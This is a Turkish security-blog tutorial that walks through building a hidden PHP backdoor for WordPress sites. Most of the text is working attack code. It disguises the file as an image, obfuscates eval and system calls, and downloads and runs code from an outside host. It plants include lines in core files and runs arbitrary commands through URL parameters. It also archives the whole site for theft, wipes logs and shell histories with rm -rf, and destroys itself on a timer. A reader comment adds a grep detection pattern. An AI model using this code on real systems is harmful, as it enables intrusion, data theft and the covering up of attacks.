ÇözümPark'a hoş geldiniz. Oturum Aç | Üye Ol
 
Ana Sayfa Makale Video Forum Resimler Dosyalar Etkinlik Hizmetlerimiz Biz Kimiz

Güvenlik

Akıllı Casuslar - Smart Spywares

Bilişim çağının başlangıcından beri zararlı yazılımlar/virusler hep var olmuştur. Bunların kimisi para talep ederken, kimisi ise kendini belli etmeden, gizlice çalışır. Günümüzde yüz binlerce zararlı yazılım var, gittikçe de artıyor. Her geçen gün daha çok etki yaratabilen, kendini daha iyi gizleyebilen zararlı yazılımlar çıkıyor. Tarihe adını yazdıran bu yazılımları incelediğimizde son çıkan yazılımın öncekilere oranla daha çok mağduriyet doğurduğunu görebiliriz. Buradan da anlıyoruz ki, virüsler artık daha akıllı hale geliyor.

Günümüzde yalnızca bir virüs üretmek yeterli olmuyor. Bu virüsü öyle donatmalıyız ki, kendini iyi gizleyebilmeli, etkili olmalı, güvenlik duvarları tarafından fark edilmemeli, kendi kendini yönetebilmeli.

Yani kötü amaçlı kişiler, kodladığı virüs kendisi gece uyurken dahi saldırı yapabiliyorsa, kendisinden bağımsız çalışabiliyor ve kendi kendini yönetebiliyorsa burada yapay bir aklın varlığından söz edebiliriz.

Virüslerin çalışma mantığını anladığımız takdirde onları engellememiz daha kolay olacaktır. Bu yazıda basit bir backdoor (arka kapı virüsü) üretip hacker’ın izleyebileceği olası bir saldırı stratejisi görmüş olacağız. Virüsü PHP dilinde üreteceğiz, öyleyse başlayalım.

Adım 1)- Kendini Gizle

Yapılacaklar:

1.      Dosya tipi değiştirme,

2.      Kodları gizleme,

3.      Dosyayı saklama.

Dosya Uzantısı Değiştirmek: Dosya uzantısını .php yerine .jpg şeklinde değiştirmek gizlenmek için etkili bir yöntem olabilir. Yetkililerin “Bu bir JPG (resim) dosyası, sunucuya zarar veremez!” şeklindeki önyargısı sayesinde zararlı yazılımımızın gözlerinden kaçmasını sağlamalıyız, aynı zamanda bu şekilde bazı firewall’ların gözünden de kaçabiliriz.

Zararlı dosyamızın adı logo.jpg olsun. Çalışacağımız dizinde logo.jpg ve .htaccess adlarında iki dosya oluşturalım.

.htaccess dosyasının kodu:

AddType application/x-httpd-php .php .jpg

Artık sunucu .php uzantılı dosyaları .jpg uzantısında çalıştırmamıza olanak sağlayacak.

Kodları Gizlemek: Yazdığımız virüsün kodları, sunucuda kurulu olan bir firewall tarafından algılanıp silinebilir veya sistem yetkililerine haber verilebilir. En kötü ihtimalle yetkili şüpheli gördüğü dosyayı açıp kodlarını inceleyebilir. Virüsün kodlarını o kadar iyi gizlemeliyiz ki, inceleyenler şüpheli görünen kodlarla karşılaşmasın, güvenlik duvarı içeride neler döndüğünü anlayamasın. Bu yüzden kodları doğrudan virüs dosyamızın içine (logo.jpg) eklemeyeceğiz. İlgili zararlı kodları, başka bir internet sitesinden çekeceğiz. Ne kadar masumane değil mi?

Zararlı kodları çekeceğimiz adres https://infinitumit.com.tr/kodlar/virus.txt olsun.

 

O halde az önce oluşturmuş olduğumuz virüsümüze (logo.jpg dosyasına) şu kodları yazabiliriz:

<?php

eval(file_get_contents("https://infinitumit.com.tr/kodlar/virus.txt"));

Fakat bu betiği biraz daha gizli hale getirmemiz gerekiyor. Zira bu haliyle firewall’lar tarafından kolaylıkla algılanabilir. O zaman kodları aşağıdaki gibi değiştirelim, her iki betik de aynı görevi görecektir.

<?php

error_reporting(0);

$x = "ht";

$y = "tp";

$z = "s:";

$a = "//infinitumit.";

$b = "co";

$c = "m.tr/kodlar/virus.txt";

$k  = 'e'.'vA'.'l';

$l = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

$m  = $l('$n', $k . '($n);');

$m(@file_get_contents($x.$y.$z.$a.$b.$c));

Doğrudan URL’i yazmama sebebimiz, tüm dosyaları kapsayacak şekilde kaynak kodlarda bir arama yapıldığında üçüncü taraf URL’in görünmemesini sağlamak. Yine doğrudan eval(); fonksiyonunu yazmadık çünkü eval fonksiyonu da genellikle firewall’lar tarafından kara listede tutulur. Aynı zamanda hata bastırma kodları ekleyerek olası bir aksaklıkta sitenin hata vermemesini sağlayacağız.

Ya da bir encoder yardımıyla şifrelerin tamamını daha güçlü bir algoritmayla şifreleyebilirsiniz.

Dosyayı Saklamak: Dosyamızı şüphe çekmeyecek bir dizinde saklamalıyız. Örneğin, WordPress yazılımında /wp-content/uploads/ klasörü gayet mantıklı. Siz hedef sitedeki CMS’e göre uyarlamalısınız, ben bilindik olduğu için WordPress’i örnek göstereceğim.

Eğer yazı sonunda bahsettiğim zamanlama özelliğinin sizin müdahaleniz olmadan çalışmasını istiyorsanız wp-config.php gibi sitenin tamamında kullanılan bir dosyaya virüsünüzü include etmelisiniz. Virüsümüzü (logo.jpg dosyası) doğrudan wp-config.php dosyasına include etmek tehlikelidir zira bir virüs bulaşması durumunda öncelikle wp-config.php dosyası kontrol edilir. O halde wp-config.php dosyasıyla bağlantılı bir dosyaya ekleyelim. Örneğin /wp-includes/default-constants.php, /wp-includes/pomo/mo.php gibi dosyalar, wp-config.php dosyasıyla bağlantılıdır. wp-config.php dosyasının içine wp-settings.php include edilir, wp-settings.php dosyasını açtığımızda da az önce bahsettiğimiz dosyaların include edilmiş olduğunu görebiliriz. Yine logo.jpg dosyamızı ilgili dizine atarak ilgili dosyalara şu kodu ekleyebiliriz:

@include("logo.jpg");

Böylelikle virüsü yazmada ilk adımı (gizlilik) tamamlamış olduk.

Adım 2)- Virüsü Geliştir

Yapılacaklar:

1.       Otomatik yedek alma,

2.      Komut çalıştırma,

3.      Otomatik log silme,

4.      Kendi kendini imha etme.

Bu bölümde yazacağımız kodları https://infinitumit.com.tr/kodlar/virus.txt adresine kaydedeceğiz ve logo.jpg dosyası kodları siteden çekecek. Yani virüsümüzün kodlarını sitemizde barındıracağız, logo.jpg dosyası aracı olacak. Dolayısıyla şimdilik logo.jpg dosyasıyla işimiz yok.

Yazılacak olan betikler sunucu konfigürasyonuna göre değişiklik gösterebilir.

Otomatik Yedek Alma:

Sitenin ana dizininin .zip olarak yedeğini alacağız ve bu yedeği gizli bir klasörde saklayacağız. Bu sayede istediğimiz zaman yedeği indirebiliriz. Kırmızı renkli bölüm, arşivin saklanacağı dizini göstermektedir, mor renkli satır ise hangi fonksiyonu çalıştıracağımızı göstermektedir. Aşağıdaki kod işimizi görecektir.

if(@$_GET['i'] == 'ydk'){

error_reporting(0);

$k  = 's'.'yS'.'t'.'eM';

$l = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

$m  = $l('$n', $k . '($n);');

$m('zip -r x.zip '.$_SERVER["DOCUMENT_ROOT"].' & & mv x.zip ./wp-content/uploads/');

}

Özelliği kullanabilmek için http://hedefsite.com/logo.jpg?i=ydk şeklinde giriş yapmak gerekir. System(); fonksiyonu örnektir.  Komut çalıştırmaya yarayan fonksiyonlardan hangileri sunucuda izinliyse, o fonksiyonları kullanabilirsiniz.

 

Komut Çalıştırma:

if($c = @$_GET['c']){

error_reporting(0);

$k  = 's'.'yS'.'t'.'eM';

$l = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

$m  = $l('$n', $k . '($n);');

$m($c);

}

Sadece hedefsite.com/logo.jpg?c=KOMUT şeklinde girildiğinde çalışır. Örnek:

clip_image002

Log Silme:

Hacker, işi bittikten sonra bıraktığı izleri silmek isteyecektir. Aşağıdaki kod log’ların yaygın olarak bulunduğu yerleri temizler. Bu işlem yetki gerektirebilir.

if(@$_GET['i'] == "lgsl"){

error_reporting(0);

$k  = 's'.'yS'.'t'.'eM';

$l = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

$m  = $l('$n', $k . '($n);');

$sl = 'rm -rf /tmp/logs

rm -rf $HISTFILE

rm -rf /root/.ksh_history

rm -rf /root/.bash_history

rm -rf /root/.ksh_history

rm -rf /root/.bash_logout

rm -rf /usr/local/apache/logs

rm -rf /usr/local/apache/log

rm -rf /var/apache/logs

rm -rf /var/apache/log

rm -rf /var/run/utmp

rm -rf /var/logs

rm -rf /var/log

rm -rf /var/adm

rm -rf /etc/wtmp

rm -rf /etc/utmp

find / -name *.bash_history -exec rm -rf {} ;

find / -name *.bash_logout -exec rm -rf {} ;

find / -name "log*" -exec rm -rf {} ;

find / -name *.log -exec rm -rf {} ;';

$m($sl);

}

Böylece, hedefsite.com/logo.jpg?i=lgsl olarak giriş yapıldığında sistemde kayıt edilen log’ların bir kısmı silinecektir. Daha da geliştirmek istenilirse, kontrol paneli log’ları veya veritabanında tutulan log’lar da sildirilebilir.

 

Kendi Kendini İmha Etme:

Backdoor işini bitirdikten sonra yakalanmamak için kendini imha etmelidir. Bu işlem genelde backdoor’ların çalışma mantığına terstir çünkü backdoor sistemde bir yerlerde sürekli varlığını korumalıdır ki işimiz düştüğünde kullanabilelim. Fakat yazının sonunda yukarıda yaptığımız işlerin hepsini otomatik gerçekleştiren bir virüs yazacağımız için oto-imha özelliğini de eklemek istiyorum.

Aşağıdaki kod işimizi görecektir.

if(@$_GET['i'] == 'bom'){

@unlink(__FILE__);

}

Böylece, hedefsite.com/logo.jpg?i=bom şeklinde girdiğimiz zaman backdoor kendi kendisini imha edecektir.

Birleştirelim

Şimdi de yukarıda tek tek yazdığımız özelliklerin hepsini bir araya toplayalım:

<?php

error_reporting(0);

$kmtfunc   = 's'.'yS'.'t'.'eM';

$funcbir = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

 

if($_GET['i'] == 'ydk'){

$mydk  = $funcbir('$nydk', $kmtfunc . '($nydk);');

$mydk('zip -r x.zip '.$_SERVER["DOCUMENT_ROOT"].' && mv x.zip ./wp-content/uploads/');

}

 

if($ckmt = $_GET['c']){

$mkmt  = $funcbir('$nkmt', $kmtfunc . '($nkmt);');

$mkmt($ckmt);

}

 

if($_GET['i'] == 'lgsl'){

$mlgsl  = $funcbir('$nlgsl', $kmtfunc . '($nlgsl);');

$sllgsl = 'rm -rf /tmp/logs

rm -rf $HISTFILE

rm -rf /root/.ksh_history

rm -rf /root/.bash_history

rm -rf /root/.ksh_history

rm -rf /root/.bash_logout

rm -rf /usr/local/apache/logs

rm -rf /usr/local/apache/log

rm -rf /var/apache/logs

rm -rf /var/apache/log

rm -rf /var/run/utmp

rm -rf /var/logs

rm -rf /var/log

rm -rf /var/adm

rm -rf /etc/wtmp

rm -rf /etc/utmp

find / -name *.bash_history -exec rm -rf {} ;

find / -name *.bash_logout -exec rm -rf {} ;

find / -name "log*" -exec rm -rf {} ;

find / -name *.log -exec rm -rf {} ;';

$mlgsl($sllgsl);

}

 

if($_GET['i'] == 'bom'){

@unlink(__FILE__);

}

·         Dosyaların yedeğini almak için: http://hedefsite.com/logo.jpg?i=ydk

·         Komut çalıştırmak için: http://hedefsite.com/logo.jpg?c=komut

·         Log’ları silmek için: http://hedefsite.com/logo.jpg?i=lgsl

·         Backdoor’u silmek için: http://hedefsite.com/logo.jpg?i=bom

şeklinde giriş yapmamız yeterli.

Böylelikle aslında temel ihtiyaçları gerçekleştirebilecek basit bir backdoor yazdık. Şimdi yazının başında bahsettiğimiz zamanlama (kendi kendini yönetme) kısmına gelelim.

Bir tarih ayarlayacağız, o tarihi geçtikten sonra virüsümüz son kez çalışacak ve kendini hemen imha edecek.

Aşağıdaki kod işimizi görecektir:

if(!$_SESSION['sldr']){

$_SESSION['sldr'] = time();

}else{

if($_SESSION['sldr']+3600 <time()){

// yedek alma

$kmtfunc   = 's'.'yS'.'t'.'eM';

$funcbir = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

$mydk  = $funcbir('$nydk', $kmtfunc . '($nydk);');

$mydk('zip -r x.zip '.$_SERVER["DOCUMENT_ROOT"].' && mv x.zip ./wp-content/uploads/');

// komut verme

$ckmt = "ls"; // sunucuya verilecek komut

$mkmt  = $funcbir('$nkmt', $kmtfunc . '($nkmt);');

$mkmt($ckmt);

// l o g silme

$mlgsl  = $funcbir('$nlgsl', $kmtfunc . '($nlgsl);');

$sllgsl = 'rm -rf /tmp/logs

rm -rf $HISTFILE

rm -rf /root/.ksh_history

rm -rf /root/.bash_history

rm -rf /root/.ksh_history

rm -rf /root/.bash_logout

rm -rf /usr/local/apache/logs

rm -rf /usr/local/apache/log

rm -rf /var/apache/logs

rm -rf /var/apache/log

rm -rf /var/run/utmp

rm -rf /var/logs

rm -rf /var/log

rm -rf /var/adm

rm -rf /etc/wtmp

rm -rf /etc/utmp

find / -name *.bash_history -exec rm -rf {} ;

find / -name *.bash_logout -exec rm -rf {} ;

find / -name "log*" -exec rm -rf {} ;

find / -name *.log -exec rm -rf {} ;';

$mlgsl($sllgsl);

// kendini imha et

@unlink(__FILE__);

}

}

Mor kısımdaki 3600 yazan yere bütün işlemler kaç saniye sonra gerçekleşsin istiyorsak onu yazacağız. 1 saat için 3600 saniye gibi. Ayrıca, PHP tag’inden sonra dosyanın en başına session_start(); fonksiyonu eklemeliyiz.

Son olarak kodlarımızı toparlayacak olursak,

·         .htaccess kodları:

AddType application/x-httpd-php .php .jpg

·         logo.jpg kodları:

<?php

error_reporting(0);

$x = "ht";

$y = "tp";

$z = "s:";

$a = "//infinitumit.";

$b = "co";

$c = "m.tr/kodlar/virus.txt";

$k  = 'e'.'vA'.'l';

$l = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

$m  = $l('$n', $k . '($n);');

$m(@file_get_contents($x.$y.$z.$a.$b.$c));

 

·         virus.txt (sitemizden çekeceğimiz dosyanın) kodları:

<?php

session_start();

error_reporting(0);

$kmtfunc   = 's'.'yS'.'t'.'eM';

$funcbir = 'c' . 're' . 'aTe' . '_'. 'fu' . 'nCt'. 'ion';

 

if($_GET['i'] == 'ydk'){

$mydk  = $funcbir('$nydk', $kmtfunc . '($nydk);');

$mydk('zip -r x.zip '.$_SERVER["DOCUMENT_ROOT"].' & & mv x.zip ./wcp/');

}

 

if($ckmt = $_GET['c']){

$mkmt  = $funcbir('$nkmt', $kmtfunc . '($nkmt);');

$mkmt($ckmt);

}

 

if($_GET['i'] == 'lgsl'){

$mlgsl  = $funcbir('$nlgsl', $kmtfunc . '($nlgsl);');

$sllgsl = 'rm -rf /tmp/logs

rm -rf $HISTFILE

rm -rf /root/.ksh_history

rm -rf /root/.bash_history

rm -rf /root/.ksh_history

rm -rf /root/.bash_logout

rm -rf /usr/local/apache/logs

rm -rf /usr/local/apache/log

rm -rf /var/apache/logs

rm -rf /var/apache/log

rm -rf /var/run/utmp

rm -rf /var/logs

rm -rf /var/log

rm -rf /var/adm

rm -rf /etc/wtmp

rm -rf /etc/utmp

find / -name *.bash_history -exec rm -rf {} ;

find / -name *.bash_logout -exec rm -rf {} ;

find / -name "log*" -exec rm -rf {} ;

find / -name *.log -exec rm -rf {} ;';

$mlgsl($sllgsl);

}

 

if($_GET['i'] == 'bom'){

@unlink(__FILE__);

}

 

 

if(!$_SESSION['sldr']){

if($_GET['i'] == 'zmn'){

$_SESSION['sldr'] = time();

}

}else{

if($_SESSION['sldr']+3600 < time()){

// yedek alma

$mydk  = $funcbir('$nydk', $kmtfunc . '($nydk);');

ob_start();

$mydk('zip -r x.zip '.$_SERVER["DOCUMENT_ROOT"].' && mv x.zip ./wcp/');

ob_clean();

// komut verme

$ckmt = "ls"; // sunucuya verilecek komut

$mkmt  = $funcbir('$nkmt', $kmtfunc . '($nkmt);');

ob_start();

$mkmt($ckmt);

ob_clean();

// l o g silme

$mlgsl  = $funcbir('$nlgsl', $kmtfunc . '($nlgsl);');

$sllgsl = 'rm -rf /tmp/logs

rm -rf $HISTFILE

rm -rf /root/.ksh_history

rm -rf /root/.bash_history

rm -rf /root/.ksh_history

rm -rf /root/.bash_logout

rm -rf /usr/local/apache/logs

rm -rf /usr/local/apache/log

rm -rf /var/apache/logs

rm -rf /var/apache/log

rm -rf /var/run/utmp

rm -rf /var/logs

rm -rf /var/log

rm -rf /var/adm

rm -rf /etc/wtmp

rm -rf /etc/utmp

find / -name *.bash_history -exec rm -rf {} ;

find / -name *.bash_logout -exec rm -rf {} ;

find / -name "log*" -exec rm -rf {} ;

find / -name *.log -exec rm -rf {} ;';

$mlgsl($sllgsl);

// kendini imha et

@unlink(__FILE__);

}

}

Böylelikle hedef siteye yaklaşık 300 bayt boyutunda fakat gizli ve etkili bir backdoor virüsü yerleştirmiş olduk. Dosyalarınız arasında tarama yaparken,

1.      Tüm dosya uzantılarını içerecek geniş kapsamlı bir tarama yapmayı,

2.      Hem manuel hem de antivirus/firewall yazılımları ile tarama yapmayı,

3.      Boyutu küçük dosyaları da tarama kapsamına almayı,

unutmayın.

Birlikte daha güvenli günlere…

 

Tarih : 21 Ekim 2018 Pazar 17:51 Yayınlayan: Gökhan YÜCELER

Yorumlar

 

Birkan Herdinç

Çok güzel bir makale eline sağlık Gökhan Yüceler

Peki linuxta şüpheli gördüğümüz durumlarda, bu değişkenleri aratırken aşağıdaki komut ile encode edilmiş zararlıyı bulabilir miyiz ?

grep -R "` ^ $`(file_get_contents|passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile|php_uname|eval|tcpflood|udpflood|edoced_46esab) *\(" /home

Ekim 22, 2018 17:08
 

Bilgehan POYRAZ

Gökhan hocam, bu tip makalelerle ufkumuz aydınlanıyor. Elinize sağlık.

Ekim 24, 2018 15:32
 

Hakan UZUNER

Eline sağlık Gökhan

Ekim 25, 2018 22:12
Kimliksiz yorumlar seçilemez kılınmış durumdadır.

Yazar: Gökhan YÜCELER

15.01.1986 yılında İstanbulda doğan Gökhan YÜCELER, 12 yıldır IT sektöründe değişik görevlerde çalışmış olup, son 8 yıldır bilişim güvenliği alanına yoğunlaşmış bulunmaktadır. Görev aldığı kuruluşlarda bilgi güvenliği uzmanı olarak yer almış olup, bu alanda bir çok projeye imza atmıştır. MayaSoft Bünyesinde, Information Security Specialist olarak kariyerine devam eden Gökhan YÜCELER, güvenlik sızma testleri, adli bilişim incelemeleri, IPS/IDS atlatma teknikleri, DDoS saldırıları tespit ve önleme yöntemleri ve Python Security Scripting üzerine çalışmalar yapmaktadır. Gökhan YÜCELER, MCP, CCNA, CCNP, SNAF, FCNSA, FCNSP, CEH, GPEN sertifikalarına sahiptir.

Bu Kategori

Hızlı aktarma

Etiketler